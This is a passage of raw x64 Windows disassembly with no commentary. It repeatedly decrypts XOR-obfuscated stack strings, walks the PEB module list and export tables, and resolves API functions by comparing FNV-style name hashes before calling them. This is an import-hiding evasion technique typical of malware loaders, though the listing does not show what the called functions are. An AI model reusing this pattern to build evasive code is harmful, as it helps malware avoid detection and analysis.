xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140005470
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005536
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005536
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x51621bee
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005531
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005510
cmp r8d, 0xb959074f
je 0x14000553b
test r9d, r9d
jne 0x1400054f0
mov rax, qword [rax]
jmp 0x1400054c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xb8]
call rdx
movups xmm0, xmmword [str.S_UNIYX]
movups xmmword [rbp + 0x758], xmm0
movups xmm1, xmmword [0x1400aa9d0]
movups xmmword [rbp + 0x768], xmm1
movsd xmm0, qword [0x1400aa9e0]
movsd qword [rbp + 0x778], xmm0
movzx eax, word [0x1400aa9e8]
mov word [rbp + 0x780], ax
mov r8d, r13d
cmp r14d, 2
jl 0x1400056de
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x75c]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400055d1
cmp r8d, 0x2a
jge 0x140005723
movsxd rax, r8d
lea r9, [rbp + 0x758]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x1400056f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400057b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400057b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x65d01a5a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400057b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005790
cmp r8d, 0x66847c03
je 0x1400057bb
test r9d, r9d
jne 0x140005770
mov rax, qword [rax]
jmp 0x140005740
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x758]
call rdx
movups xmm0, xmmword [0x14009ed98]
movups xmmword [rbp + 0x438], xmm0
movups xmm1, xmmword [0x14009eda8]
movups xmmword [rbp + 0x448], xmm1
mov eax, dword [0x14009edb8]
mov dword [rbp + 0x458], eax
movzx eax, word [0x14009edbc]
mov word [rbp + 0x45c], ax
mov r8d, r13d
cmp r14d, 2
jl 0x14000595d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x43c]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005850
cmp r8d, 0x26
jge 0x1400059a3
movsxd rax, r8d
lea r9, [rbp + 0x438]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140005970
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005a36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005a36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x997edf62
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005a31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005a10
cmp r8d, 0x54bd41cb
je 0x140005a3b
test r9d, r9d
jne 0x1400059f0
mov rax, qword [rax]
jmp 0x1400059c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x438]
call rdx
movups xmm0, xmmword [0x14009ee70]
movups xmmword [rbp + 0x410], xmm0
movups xmm1, xmmword [0x14009ee80]
movups xmmword [rbp + 0x420], xmm1
mov eax, dword [0x14009ee90]
mov dword [rbp + 0x430], eax
mov r8d, r13d
cmp r14d, 2
jl 0x140005bcd
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x414]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005ac0
cmp r8d, 0x24
jge 0x140005c13
movsxd rax, r8d
lea r9, [rbp + 0x410]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140005be0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005ca6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005ca6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3cfeaade
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005ca1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005c80
cmp r8d, 0x6166273f
je 0x140005cab
test r9d, r9d
jne 0x140005c60
mov rax, qword [rax]
jmp 0x140005c30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x410]
call rdx
movups xmm0, xmmword [0x1400a0948]
movups xmmword [rbp + 0x578], xmm0
movups xmm1, xmmword [0x1400a0958]
movups xmmword [rbp + 0x588], xmm1
movsd xmm0, qword [0x1400a0968]
movsd qword [rbp + 0x598], xmm0
movzx eax, byte [0x1400a0970]
mov byte [rbp + 0x5a0], al
mov r8d, r13d
cmp r14d, 2
jl 0x140005e4d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x57c]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005d40
cmp r8d, 0x29
jge 0x140005e93
movsxd rax, r8d
lea r9, [rbp + 0x578]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140005e60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005f26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005f26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x12169596
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005f21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005f00
cmp r8d, 0x5dfd9cd7
je 0x140005f2b
test r9d, r9d
jne 0x140005ee0
mov rax, qword [rax]
jmp 0x140005eb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x578]
call rdx
movups xmm0, xmmword [0x14009fd30]
movups xmmword [rbp + 0x5a8], xmm0
movups xmm1, xmmword [0x14009fd40]
movups xmmword [rbp + 0x5b8], xmm1
movsd xmm0, qword [0x14009fd50]
movsd qword [rbp + 0x5c8], xmm0
movzx eax, byte [0x14009fd58]
mov byte [rbp + 0x5d0], al
mov r8d, r13d
cmp r14d, 2
jl 0x1400060cd
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x5ac]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005fc0
cmp r8d, 0x29
jge 0x140006113
movsxd rax, r8d
lea r9, [rbp + 0x5a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x1400060e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400061a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400061a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x2e84a09a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400061a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006180
cmp r8d, 0x3e761b43
je 0x1400061ab
test r9d, r9d
jne 0x140006160
mov rax, qword [rax]
jmp 0x140006130